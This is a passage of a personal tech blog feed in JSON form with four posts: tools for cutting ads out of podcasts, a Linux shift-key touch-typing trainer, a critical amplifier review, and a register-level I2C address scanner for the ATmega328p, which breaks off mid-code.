Ads","link":{"@attributes":{"href":"https:\/\/gms.tf\/blocking-audio-ads.html","rel":"alternate"}},"published":"2024-06-17T01:00:00+02:00","updated":"2024-06-17T01:00:00+02:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2024-06-17:\/blocking-audio-ads.html","summary":"<p>This article describes an approach to blocking ads in audio\nfiles and introduces software that implements it.<\/p>\n<h2 id=\"motivation\">Motivation<a class=\"headerlink\" href=\"#motivation\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The modern <a href=\"https:\/\/en.wikipedia.org\/wiki\/World_Wide_Web\">web<\/a> is unbearable without a good ad-blocker such as\n<a href=\"https:\/\/github.com\/gorhill\/uBlock\">uBlock Origin<\/a>. Unfortunately, the online marketing\nindustry, while destroying the web, providing creative\ndistribution networks for <a href=\"https:\/\/en.wikipedia.org\/wiki\/Malvertising\">malware<\/a> and <a href=\"https:\/\/www.jstor.org\/stable\/26508116\">disinformation<\/a>\ncampaigns there \u2026<\/p>","content":"<p>This article describes an approach to blocking ads in audio\nfiles and introduces software that implements it.<\/p>\n<h2 id=\"motivation\">Motivation<a class=\"headerlink\" href=\"#motivation\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The modern <a href=\"https:\/\/en.wikipedia.org\/wiki\/World_Wide_Web\">web<\/a> is unbearable without a good ad-blocker such as\n<a href=\"https:\/\/github.com\/gorhill\/uBlock\">uBlock Origin<\/a>. Unfortunately, the online marketing\nindustry, while destroying the web, providing creative\ndistribution networks for <a href=\"https:\/\/en.wikipedia.org\/wiki\/Malvertising\">malware<\/a> and <a href=\"https:\/\/www.jstor.org\/stable\/26508116\">disinformation<\/a>\ncampaigns there, has also discovered <a href=\"https:\/\/en.wikipedia.org\/wiki\/Podcast\">podcasts<\/a> as a\nmedium for spreading obnoxious advertisements.<\/p>\n<h2 id=\"the-challenge\">The Challenge<a class=\"headerlink\" href=\"#the-challenge\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Since <a href=\"https:\/\/en.wikipedia.org\/wiki\/Podcast\">podcasts<\/a> (also known as audiocasts) usually\nintegrate advertisement clips inline as part of the audio stream\nin the audio file such that they can't simply be filtered by\nblocking certain URLs or manipulating scripts, as it's done with\nads on websites or even Youtube.  (NB: as of 2024, <a href=\"https:\/\/www.bleepingcomputer.com\/news\/google\/youtube-tests-harder-to-block-server-side-ad-injection-in-videos\/\">Youtube is\nexperimenting<\/a> rendering ads server-side into the\nvideo-stream)<\/p>\n<p>However, many podcasts, especially German ones, clearly mark the\nbeginning and the end of an advertisement by some sound bite or\njingle.\nSuch marking isn't entirely voluntarily, because a few\nlegal norms regarding <a href=\"https:\/\/de.wikipedia.org\/wiki\/Schleichwerbung#Situation_in_Deutschland\">broadcasting<\/a> and unfair business practices\ndo <a href=\"https:\/\/de.wikipedia.org\/wiki\/Telemediengesetz\">apply<\/a>.<\/p>\n<h2 id=\"a-solution\">A Solution<a class=\"headerlink\" href=\"#a-solution\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>One approach to blocking audio ads in podcasts is thus to\nautomatically search for the characteristic samples (templates)\nand cut everything in between out.<\/p>\n<p>I searched for software that implements this approach, but couldn't\nfind any.<\/p>\n<p>Thus, I created <a href=\"https:\/\/github.com\/gsauthof\/cutbynoise\">cutbynoise<\/a> - a small Python program that cuts\naudio files by characteristic templates. \nSee also its README for a detailed technical description of how it works.<\/p>\n<p>Of course, nobody wants to manually call <code>cutbynoise<\/code> on each new\nepisode of a podcast. I thus also created <a href=\"https:\/\/github.com\/gsauthof\/feed-util#castproxypy\">castproxy<\/a> - a\nsmall Python program that aggregates podcast feeds, caches\nembedded audio files, and is able to invoke audio filters on\nthem, such as <code>cutbynoise<\/code>.<\/p>\n<h2 id=\"results\">Results<a class=\"headerlink\" href=\"#results\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Using <a href=\"https:\/\/en.wikipedia.org\/wiki\/Cross-correlation\">cross-correlation<\/a> to search for ad start\/stop markers works\nsurprisingly well on real world audio data.\nEspecially given that podcasts are usually heavily post-processed\nand of course lossily compressed.<\/p>\n<p>I'm running castproxy and cutbynoise for two months now on a\ndozen or so podcasts.<\/p>\n<p>So far this setup successfully filtered out 5301 seconds of super\nannoying ads! Almost one and a half hours!<\/p>","category":[{"@attributes":{"term":"misc"}},{"@attributes":{"term":"adblocking"}},{"@attributes":{"term":"podcast"}},{"@attributes":{"term":"audiocast"}},{"@attributes":{"term":"audio"}},{"@attributes":{"term":"signal-processing"}}]},{"title":"Shift Typing","link":{"@attributes":{"href":"https:\/\/gms.tf\/shift-typing.html","rel":"alternate"}},"published":"2023-10-07T18:00:00+02:00","updated":"2023-10-07T18:00:00+02:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2023-10-07:\/shift-typing.html","summary":"<p>This article introduces <a href=\"https:\/\/github.com\/gsauthof\/shift-tutor\">shift-tutor<\/a>, a Linux program that filters\nshift key events to improve or verify touch typing skills.<\/p>\n<h2 id=\"rationale\">Rationale<a class=\"headerlink\" href=\"#rationale\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Most keyboards contain two shift keys, i.e. one located on the\nleft bottom and the other on the opposite side:<\/p>\n<p><img src=\"https:\/\/gms.tf\/image\/ansi-querty-ergo-wp-commons.svg\" alt=\" Keyboard with split+rotated layout, similar to the layout of the Microsoft Natural keyboard\" width=\"100%\"\/>\n<small>Source: <a href=\"https:\/\/commons.wikimedia.org\/wiki\/User:Mliu92\">Mliu92<\/a>,\n<a href=\"https:\/\/commons.wikimedia.org\/wiki\/File:ANSI_US_QWERTY_(Windows,_split_+_rotated).svg\">ANSI\nUS QWERTY (Windows, split + rotated)<\/a>, <a href=\"https:\/\/creativecommons.org\/licenses\/by-sa\/4.0\/legalcode\" rel=\"license\">CC \u2026<\/a><\/small><\/p>","content":"<p>This article introduces <a href=\"https:\/\/github.com\/gsauthof\/shift-tutor\">shift-tutor<\/a>, a Linux program that filters\nshift key events to improve or verify touch typing skills.<\/p>\n<h2 id=\"rationale\">Rationale<a class=\"headerlink\" href=\"#rationale\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Most keyboards contain two shift keys, i.e. one located on the\nleft bottom and the other on the opposite side:<\/p>\n<p><img src=\"https:\/\/gms.tf\/image\/ansi-querty-ergo-wp-commons.svg\" alt=\" Keyboard with split+rotated layout, similar to the layout of the Microsoft Natural keyboard\" width=\"100%\"\/>\n<small>Source: <a href=\"https:\/\/commons.wikimedia.org\/wiki\/User:Mliu92\">Mliu92<\/a>,\n<a href=\"https:\/\/commons.wikimedia.org\/wiki\/File:ANSI_US_QWERTY_(Windows,_split_+_rotated).svg\">ANSI\nUS QWERTY (Windows, split + rotated)<\/a>, <a href=\"https:\/\/creativecommons.org\/licenses\/by-sa\/4.0\/legalcode\" rel=\"license\">CC BY-SA 4.0<\/a><\/small><\/p>\n<p>The purpose of these arguably redundant keys is to simplify\nshifting while <a href=\"https:\/\/en.wikipedia.org\/wiki\/Touch_typing\">touch typing<\/a>. For example, when typing an upper\ncase 'A' the left hand should press the 'A' key with the little finger, i.e.\nwhich doesn't leave the home row, while the right hand is free\nand thus its little finger can easily leave the home row and press\nand hold the right shift key, before.<\/p>\n<p>A typist unskilled in touch typing may be tempted to enter upper\ncase characters with one hand, like a short cut that involves a\nsingular meta key. In our example, this may lead to upper case\n'A' being entered by pressing left shift with the left little \nfinger together with 'A' being pressed by the left ring finger.<\/p>\n<h2 id=\"the-problem\">The Problem<a class=\"headerlink\" href=\"#the-problem\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>When touch typing, underutilizing both available shift keys may\nlead to the following problems:<\/p>\n<ol>\n<li>suboptimal touch typing performance in terms of speed\n   and effective use of <a href=\"https:\/\/en.wikipedia.org\/wiki\/Muscle_memory\">muscle memory<\/a><\/li>\n<li>health issues such as <a href=\"https:\/\/en.wikipedia.org\/wiki\/Repetitive_strain_injury\">repetitive strain injury<\/a><\/li>\n<\/ol>\n<h2 id=\"a-solution\">A Solution<a class=\"headerlink\" href=\"#a-solution\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>When attending an on-site course in a touch typing school, a good\nteacher may be able to observe suboptimal usage combinations of\nthe shift keys and give immediate feedback such that this bad habit\nis eliminated.<\/p>\n<p>This is similar to a presentation coach who watches out for filler words,\nperhaps rings a bell when a filler is uttered and\/or counts them such that\nthe student can pay into a filler word piggy bank.<\/p>\n<p>In other words, in these cases, a teacher supervises a student\nand gives immediate feedback to reinforce optimal behaviour in\norder to improve the learning outcome.<\/p>\n<h2 id=\"shift-tutor\">Shift-Tutor<a class=\"headerlink\" href=\"#shift-tutor\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p><a href=\"https:\/\/github.com\/gsauthof\/shift-tutor\">Shift-tutor<\/a> is a technical aid that can be used while\nlearning touch typing or for verifying touch typing skills. It\nsimply grabs all events of a keyboard device on Linux and filters\n(i.e. discards) key presses whenever the <em>wrong<\/em> shift key is\npressed. All other events are simply forwarded.<\/p>\n<p>In that way, the typist gets immediate feedback on shift key\nusage, i.e. since something like <code>left_shift + a<\/code> is discarded,\nthe better usage of <code>right_shift + a<\/code> is reinforced.<\/p>\n<p>Shift-tutor is written in Python, doesn't require much code and\nis arguably easy to extend. Thus, triggering some annoying bell\nwhenever a suboptimal key combination is pressed (in addition to\ndiscarding it), like in a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Operant_conditioning\">positive punishment operant\nconditioning<\/a> scheme is left as an exercise to the reader.<\/p>\n<h2 id=\"what-about-latency\">What about Latency?<a class=\"headerlink\" href=\"#what-about-latency\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Since keyboard events are filtered in user-space, such filtering\nas implemented by shift-tutor increases input latency somewhat.\nThat means in the best case shift-tutor requires 2\nkernel-\/user-space transitions and a few cycles in user space\nwhich adds a few microseconds or so.<\/p>\n<p>Depending on the load and available cores, waking up\nshift-tutor might even require a more expensive rescheduling or\ncontext-switching that would increase the latency more.<\/p>\n<p>However, over the years local input-to-display latency\nincreased to the <a href=\"https:\/\/danluu.com\/input-lag\/\">three digit millisecond range<\/a> with\nmodern computers and modern keyboards being in the <a href=\"https:\/\/danluu.com\/keyboard-latency\/\">two digit\nmillisecond range<\/a> already (see also <a href=\"https:\/\/hci.ur.de\/publications\/on_the_latency_of_usb-connected_input_devices_2019\">R. Wimmer, A. Schmid,\nand F. Bockes: On the Latency of USB-Connected Input Devices. ACM CHI\n2019<\/a> and <a href=\"https:\/\/web.cs.wpi.edu\/~claypool\/papers\/evlag\/\">S. Liu, and M. Claypool: EvLag - A tool for\nMonitoring and Lagging Linux Input Devices. ACM MMSys\n2021<\/a>).<br\/>\nMeaning, when measuring end-to-end input-to-display latency under\nactive shift-tutor, the added latency would likely be\nindistinguishable from measurement noise, as <a href=\"https:\/\/danluu.com\/term-latency\/\">with - say - tmux<\/a>.<br\/>\nNot speaking of additional relatively high network latency when working remotely\nvia ssh, without local echo, which nevertheless usually still\nallows for a quite fine touch typing experience.<\/p>","category":[{"@attributes":{"term":"misc"}},{"@attributes":{"term":"keyboard"}},{"@attributes":{"term":"typing"}}]},{"title":"Fosi Audio TDA7498E Amplifier Review","link":{"@attributes":{"href":"https:\/\/gms.tf\/fosi-review.html","rel":"alternate"}},"published":"2022-12-31T20:00:00+01:00","updated":"2022-12-31T20:00:00+01:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2022-12-31:\/fosi-review.html","summary":"<p>Recently, I was in the market for a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Power_amplifier_classes#Class_D\">Class-D<\/a> amplifier\nto replace an aging model. This article reviews the very compact\n<a href=\"https:\/\/www.amazon.de\/Fosi-Audio-2-Kanal-Stereo-Audioverst%C3%A4rkerempf%C3%A4nger-Mini-HiFi-Klasse-D-Integrierter-Heimlautsprecher\/dp\/B077GWVHHN\">Fosi Audio TSA7498E 2 channel amplifier<\/a> I bought from a China\nbased business, via Amazon. tl;dr: Can't recommend, use something\nbetter.<\/p>\n<div class=\"toc\">\n<ul>\n<li><a href=\"#motivation\">Motivation<\/a><\/li>\n<li><a href=\"#selection\">Selection<\/a><\/li>\n<li><a href=\"#review\">Review<\/a><ul>\n<li><a href=\"#the-mostly-good\">The (mostly) Good<\/a><\/li>\n<li><a href=\"#the-bad\">The \u2026<\/a><\/li><\/ul><\/li><\/ul><\/div>","content":"<p>Recently, I was in the market for a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Power_amplifier_classes#Class_D\">Class-D<\/a> amplifier\nto replace an aging model. This article reviews the very compact\n<a href=\"https:\/\/www.amazon.de\/Fosi-Audio-2-Kanal-Stereo-Audioverst%C3%A4rkerempf%C3%A4nger-Mini-HiFi-Klasse-D-Integrierter-Heimlautsprecher\/dp\/B077GWVHHN\">Fosi Audio TSA7498E 2 channel amplifier<\/a> I bought from a China\nbased business, via Amazon. tl;dr: Can't recommend, use something\nbetter.<\/p>\n<div class=\"toc\">\n<ul>\n<li><a href=\"#motivation\">Motivation<\/a><\/li>\n<li><a href=\"#selection\">Selection<\/a><\/li>\n<li><a href=\"#review\">Review<\/a><ul>\n<li><a href=\"#the-mostly-good\">The (mostly) Good<\/a><\/li>\n<li><a href=\"#the-bad\">The Bad<\/a><\/li>\n<li><a href=\"#the-ugly\">The Ugly<\/a><\/li>\n<\/ul>\n<\/li>\n<li><a href=\"#lessons-learned\">Lessons Learned<\/a><\/li>\n<li><a href=\"#amazon-reviews\">Amazon Reviews<\/a><\/li>\n<li><a href=\"#alternatives\">Alternatives<\/a><\/li>\n<\/ul>\n<\/div>\n<h2 id=\"motivation\">Motivation<a class=\"headerlink\" href=\"#motivation\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>I needed a small and efficient amplifier for connecting a pair\nof old 4 Ohm monitor boxes (JBL Control One) to a computer.\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Power_amplifier_classes#Class_D\">Class-D<\/a> amplifiers are known to be much more power\nefficient than traditional Class-AB ones. For example, I measured\nan old Class-AB Pioneer A-109 stereo amplifier at 33 W, during\nidle. That means that energy is wasted in the form of heat, which\nmight be especially annoying in the summer.\nWhereas a comparable Class-D amplifier just consumes a few watts, and\nlikely completely shuts down during idle operation.<\/p>\n<h2 id=\"selection\">Selection<a class=\"headerlink\" href=\"#selection\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Unfortunately, Class-D amplifiers often aren't clearly marketed\nas such and thus kind of hard to select for when browsing Hi-Fi\nvendor's product pages. Also, some Hi-Fi vendors just use Class-D\nfor very large amplifiers, where Class-AB simply gets impractical\nand only have Class-AB for living room amplifiers.<\/p>\n<p>The best bet is to look at the power consumption ratings,\nif available.<\/p>\n<p>When searching for Class-D amplifiers on Amazon the results are\nflooded with Chinese products, i.e. distributed by some no-name\nsmall companies, which probably are renamed often, whose wares\nare shipped from Amazon warehouses, without much quality control.\nJudging from the product images, many products from different\nvendors look quite similar to each other, i.e. it seems different\nvendors are just reselling wares from the same manufacturer.<\/p>\n<p>I bought the Fosi Audio TDA7498E 2 channel amplifier because its\ndesign is minimal and compact and it isn't too expensive.\nAlso its reviews are quite positive, however nowadays Amazon is\nalso flooded with paid and low-quality reviews, so this has to be\ntaken with a grain of salt.<\/p>\n<h2 id=\"review\">Review<a class=\"headerlink\" href=\"#review\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The Fosi Audio TDA7498E indeed is very compact and has a low\npower consumption. On idle I measured 0 W or so and during real\nuse I never measured above 1 W power.<\/p>\n<h3 id=\"the-mostly-good\">The (mostly) Good<a class=\"headerlink\" href=\"#the-mostly-good\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p>Except for the volume knob, the design is nice, i.e. it comes in\na full metal case and with dual-use speaker connectors,\ni.e. one can connect speakers with banana plugs or raw cables.\nHowever, the volume knob isn't marked and way to easy to turn,\ni.e. it's very easy to turn it by accident to some high level.\nThis is especially problematic because the useful range for\nliving room volume levels is tiny, i.e. a few millimeter turn\nalready leads to a high volume. Last, it comes with a real power\nswitch.<\/p>\n<h3 id=\"the-bad\">The Bad<a class=\"headerlink\" href=\"#the-bad\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p>At least when connecting 4 Ohm speakers, the amplifier creates a\ntoo high amount of background noise.\nProbably all amplifier speaker combinations produce some\nbackground noise, but usually it's only audible if you place one\near just a few centimeters from the speaker (while playing\nsilence and turning the volume knob up). With the Fosi Audio\nTDA7498E amplifier the background noise is still audible in a few\nmeters distance, which makes it unsuitable for office usage.<\/p>\n<h3 id=\"the-ugly\">The Ugly<a class=\"headerlink\" href=\"#the-ugly\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p>There is a channel imbalance at living room volumes, i.e. below\n30 dB or so, of plus 6 dB on the left, when using audio sources\nwith standard line-out levels.\nThat means one either has to compensate that amount by adjusting\nthe line-out balance settings of the connected audio source (if even\npossible). Alternatively, one might reduce the audio source's\nline-out level to 72 % or so and turn up Fosi Audio TDA7498E's volume accordingly.<\/p>\n<p>Both workarounds are ridiculous, i.e. one simply doesn't\nartificially decrease the quality of the input signal to work\naround channel imbalance in the amplifier.<\/p>\n<p>Last, the speaker polarity on both channels is reversed, i.e.\nblack is positive and red is negative. Granted, it would be worse\nif just one channel was reversed (cf. phase shift), but\nstill, this speaks volumes regarding the quality of the product.<\/p>\n<h2 id=\"lessons-learned\">Lessons Learned<a class=\"headerlink\" href=\"#lessons-learned\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>My hearing is better than I thought. That means I immediately\nnoticed the channel imbalance and background noise. Furthermore,\nthe compensation levels and range (where the imbalance occurs) I\nsubjectively determined by changing mixer knobs until I didn't\nnotice any imbalance anymore, first while listening to normal\nmusic and then to pink noise, matched a later verification with a\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Sound_level_meter\">sound-level meter<\/a> pretty well.<\/p>\n<p>The alsa-utils package contains the <code>speaker-test<\/code> command which\nis quite convenient for testing speakers. Example:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>speaker-test<span class=\"w\"> <\/span>-c2\n<\/code><\/pre><\/div>\n\n<p>FWIW, I also was able to detect a defect speaker with speaker-test,\nwhere its deficiencies were more obvious.<\/p>\n<p>In case no dedicated sound-level meter is available, depending on\nyour smartphone, a sound-level measuring app might be good enough\nfor speaker balance testing (<a href=\"https:\/\/digscholarship.unco.edu\/cgi\/viewcontent.cgi?article=1130&amp;context=capstones\">see<\/a> <a href=\"https:\/\/www.constructionjunkie.com\/blog\/2017\/2\/24\/niosh-releases-sound-level-meter-app-for-smartphone\">also<\/a>). FWIW, I\ntested the Google Pixel 6a with the 'Noise Meter' Android app and\nobserved reasonable performance.  However, as of the end of 2022,\nthe 'Noise Meter' app seems to have vanished from the Google play\nstore, as well as the company behind it (JINASYS) seems to have\nvanished from the internet.<\/p>\n<h2 id=\"amazon-reviews\">Amazon Reviews<a class=\"headerlink\" href=\"#amazon-reviews\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>As mentioned previously, the Amazon Reviews for the <a href=\"https:\/\/www.amazon.de\/Fosi-Audio-2-Kanal-Stereo-Audioverst%C3%A4rkerempf%C3%A4nger-Mini-HiFi-Klasse-D-Integrierter-Heimlautsprecher\/dp\/B077GWVHHN\">Fosi Audio\nTDA7498E<\/a> amplifier are quite positive, i.e. as of 2022-12-31 it has\nan average rating of 4.3 on a five star scale with 63 % 5 star\nand 19 % 4 star ratings.<\/p>\n<p>Especially in the last years, Amazon is plagued more and more \nwith fake reviews and reportedly doesn't police enough against\nthem. Thus, some of those positive reviews might be fake, either\ngenerated by some 'AI' bots or by some incentivised persons.<\/p>\n<p>However, many of the positive Amazon reviews may very well still\nbe genuine. This can be explained by various factors such as:<\/p>\n<ol>\n<li>The seller sells various batches and revisions, also perhaps\n   sourced quite heterogeneously, via the same product page.<\/li>\n<li>Some reviewers simply have kind of bad hearing.<\/li>\n<li>Some reviewers are simply used to listening at a frankly too\n   high volume where the channels aren't imbalanced. Either some\n   of this group already have bad hearing or they are on a good\n   way to damage their hearing capabilities.<\/li>\n<li>Some reviewers are biased, e.g. in order to reduce their\n   <a href=\"https:\/\/en.wikipedia.org\/wiki\/Cognitive_dissonance\">cognitive dissonance<\/a>, i.e. to avoid recognizing having\n   made a bad purchase (which would require some effort to get a\n   refund and get a replacement). Or due to some kind of\n   <a href=\"https:\/\/en.wikipedia.org\/wiki\/Groupthink\">groupthink<\/a>, where a reviewer already bought into the\n   narrative of\n   some enthusiastic reviews (because of a good story such as: simple\n   underdog product is as good or better than one from an\n   established Hi-Fi company and you have discovered and saved\n   a good penny on it).<\/li>\n<\/ol>\n<h2 id=\"alternatives\">Alternatives<a class=\"headerlink\" href=\"#alternatives\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Mini or micro stereo systems are an alternative to a dedicated\namplifier, because they are widely available and tested by\nreputable independent entities. For example, in Germany there is\nthe independent <a href=\"https:\/\/en.wikipedia.org\/wiki\/Stiftung_Warentest\">Stiftung Warentest<\/a> consumer organisation\nwhich tests this product group periodically. Their last tests\ninclude power ratings, besides the usual feature comparisons,\nsuch that selecting systems with Class-D amplifiers (and other\nrequired features) is much simpler than having to research all\nsuch details on ones own.<\/p>\n<p>I settled on an ultra compact stereo system from an established\nvendor: the Panasonic SA-PMX94 (a.k.a. SC-PMX94 or SC-PMX94EG-S\nor SC-PMX94EG-K). It comes with a pair of 3 Ohm speakers which\nare quite decent.<\/p>\n<p>It might be even possible to connect third-party speakers to that\nsystem, possibly even 4 Ohm ones, as the conventional wisdom is that\nspeakers that exceed the amplifiers impedance rating (within reason)\nshould work while connecting lower Ohm speakers\nis considered dangerous, as they might draw too much power such\nthat the amplifier operates outside of its safe operating area\nand might get damaged. However, I'm not an electronics engineer\nand haven't tested it, so YMMV.<\/p>\n<p>That stereo system comes with some features I don't really need,\nbut are still kind of nice to have, e.g. a DAB+ receiver and\nintegrated CD player.<\/p>\n<p>The best thing about it, besides good sound quality (i.e.\nno excessive background noise and balanced channels!) and\na reasonable volume knob, is its connectivity. That means\nbesides Bluetooth, optical S\/PDIF (TOSLINK), standard analog-in\n(Cinch\/RCA) it also integrates a standard USB sound device!<\/p>\n<p>In that way it is able to also replace an existing USB sound card and\npossibly a separate external DAC device. That means one can simply\nconnect the stereo system via USB to a computer and it should be\ndetected like an external USB sound card. I'm using it under\nLinux where it worked out of the box without any extra drivers.<\/p>","category":[{"@attributes":{"term":"misc"}},{"@attributes":{"term":"review"}},{"@attributes":{"term":"audio"}}]},{"title":"Scanning I2C addresses","link":{"@attributes":{"href":"https:\/\/gms.tf\/i2c-scanner.html","rel":"alternate"}},"published":"2022-09-21T16:00:00+02:00","updated":"2022-09-21T16:00:00+02:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2022-09-21:\/i2c-scanner.html","summary":"<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/I%C2%B2C\">I2C<\/a> is a simple open-drain bus that is popular for\nconnecting devices to <a href=\"https:\/\/en.wikipedia.org\/wiki\/Microcontroller\">microcontrollers (MCUs)<\/a>, such as\nsensors, <a href=\"https:\/\/en.wikipedia.org\/wiki\/Real-time_clock\">RTCs<\/a>, displays etc. Devices on the I2C bus are\naddressed by 7 bits and the bus data and clock lines are\npulled-up by a set of pull-up resistors. A good first test \u2026<\/p>","content":"<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/I%C2%B2C\">I2C<\/a> is a simple open-drain bus that is popular for\nconnecting devices to <a href=\"https:\/\/en.wikipedia.org\/wiki\/Microcontroller\">microcontrollers (MCUs)<\/a>, such as\nsensors, <a href=\"https:\/\/en.wikipedia.org\/wiki\/Real-time_clock\">RTCs<\/a>, displays etc. Devices on the I2C bus are\naddressed by 7 bits and the bus data and clock lines are\npulled-up by a set of pull-up resistors. A good first test for\nchecking that I2C communication works fine is to scan for the\ndevices' addresses. This article presents two I2C address\nscanners for ATmega328p AVR (e.g. Arduino Pro Mini 3.3V 8 MHz)\nand GD32VF103 RISC-V (e.g.  Longan Nano) MCUs.<\/p>\n<div class=\"toc\">\n<ul>\n<li><a href=\"#i2c-high-level-overview\">I2C High-Level Overview<\/a><\/li>\n<li><a href=\"#i2c-address-scanning\">I2C Address Scanning<\/a><\/li>\n<li><a href=\"#scanning-on-the-atmega328p\">Scanning on the ATmega328p<\/a><ul>\n<li><a href=\"#see-also\">See Also<\/a><\/li>\n<\/ul>\n<\/li>\n<li><a href=\"#scanning-on-the-gd32vf103\">Scanning on the GD32VF103<\/a><ul>\n<li><a href=\"#see-also_1\">See Also<\/a><\/li>\n<\/ul>\n<\/li>\n<li><a href=\"#other-mcus\">Other MCUs<\/a><\/li>\n<\/ul>\n<\/div>\n<h2 id=\"i2c-high-level-overview\">I2C High-Level Overview<a class=\"headerlink\" href=\"#i2c-high-level-overview\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>On an I2C bus, every communication is initiated by a master\n(controller) that addresses a slave (target) device. There can be\nmultiple controllers and multiple targets on a bus. With MCUs,\nit's common to have one controller (the MCU) and one or more\ntarget devices connected to a bus.<\/p>\n<p>An address of a target is static, i.e. there is no address\nautoconfiguration protocol. Usually, the address of a target is\nspecified in its datasheet.<\/p>\n<p>The following sequence diagram describes the structure of I2C\ncommunication:<\/p>\n<p><img alt=\"I2C sequence diagram\" src=\"https:\/\/gms.tf\/image\/i2c-sequence.svg\"\/><\/p>\n<h2 id=\"i2c-address-scanning\">I2C Address Scanning<a class=\"headerlink\" href=\"#i2c-address-scanning\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The basic idea with I2C address scanning is to simply send\nSTART conditions for all possible addresses (there are just up to\n<code>2^7<\/code> of them!) and detect ACKnowledgement conditions on the bus, in a loop.<\/p>\n<p>Of course, in any case, after sending the address and detecting either an ACK\nor NACK the controller immediately sends a STOP condition to avoid confusing\nany target device and being able to continue with the next one.<\/p>\n<h2 id=\"scanning-on-the-atmega328p\">Scanning on the ATmega328p<a class=\"headerlink\" href=\"#scanning-on-the-atmega328p\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>There are <a href=\"https:\/\/wolles-elektronikkiste.de\/en\/i2c-scanner\">several<\/a> I2C scanners <a href=\"http:\/\/www.gammon.com.au\/i2c#reply6\">around<\/a> that use the Arduino API.\nArguably, that API hides too much of the I2C fundamentals, such\nthat it's not immediately obvious how the scanning really works.<\/p>\n<p>I thus wrote a bare bones I2C scanner that directly interfaces\nwith the I2C unit of an 8 bit ATmega MCU using its registers:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"c1\">\/\/ at 8 Mhz<\/span>\n<span class=\"k\">static<\/span><span class=\"w\"> <\/span><span class=\"kt\">void<\/span><span class=\"w\"> <\/span><span class=\"nf\">i2c_set_100kHz<\/span><span class=\"p\">()<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">TWBR<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"mi\">32<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n<span class=\"k\">static<\/span><span class=\"w\"> <\/span><span class=\"kt\">void<\/span><span class=\"w\"> <\/span><span class=\"nf\">i2c_set_400kHz<\/span><span class=\"p\">()<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">TWBR<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"mi\">2<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"c1\">\/\/ NB: clearing TWINT starts next transmission<\/span>\n<span class=\"c1\">\/\/     TWI == I2C<\/span>\n<span class=\"c1\">\/\/     TWCR = TWI Control Register<\/span>\n<span class=\"c1\">\/\/     TWDR = TWI Data Register<\/span>\n\n<span class=\"c1\">\/\/ start master transmission<\/span>\n<span class=\"k\">static<\/span><span class=\"w\"> <\/span><span class=\"kt\">void<\/span><span class=\"w\"> <\/span><span class=\"nf\">i2c_start<\/span><span class=\"p\">()<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ clear TWINT flag, send START, enable TWI unit<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">TWCR<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_BV<\/span><span class=\"p\">(<\/span><span class=\"n\">TWINT<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">|<\/span><span class=\"w\"> <\/span><span class=\"n\">_BV<\/span><span class=\"p\">(<\/span><span class=\"n\">TWSTA<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">|<\/span><span class=\"w\"> <\/span><span class=\"n\">_BV<\/span><span class=\"p\">(<\/span><span class=\"n\">TWEN<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">loop_until_bit_is_set<\/span><span class=\"p\">(<\/span><span class=\"n\">TWCR<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">TWINT<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ NB: TWSTA must be cleared explicitly in the next operation<\/span>\n<span class=\"p\">}<\/span>\n<span class=\"k\">static<\/span><span class=\"w\"> <\/span><span class=\"kt\">void<\/span><span class=\"w\"> <\/span><span class=\"nf\">i2c_stop<\/span><span class=\"p\">()<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ clear TWINT flag, send STOP, enable TWI unit<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">TWCR<\/span><span 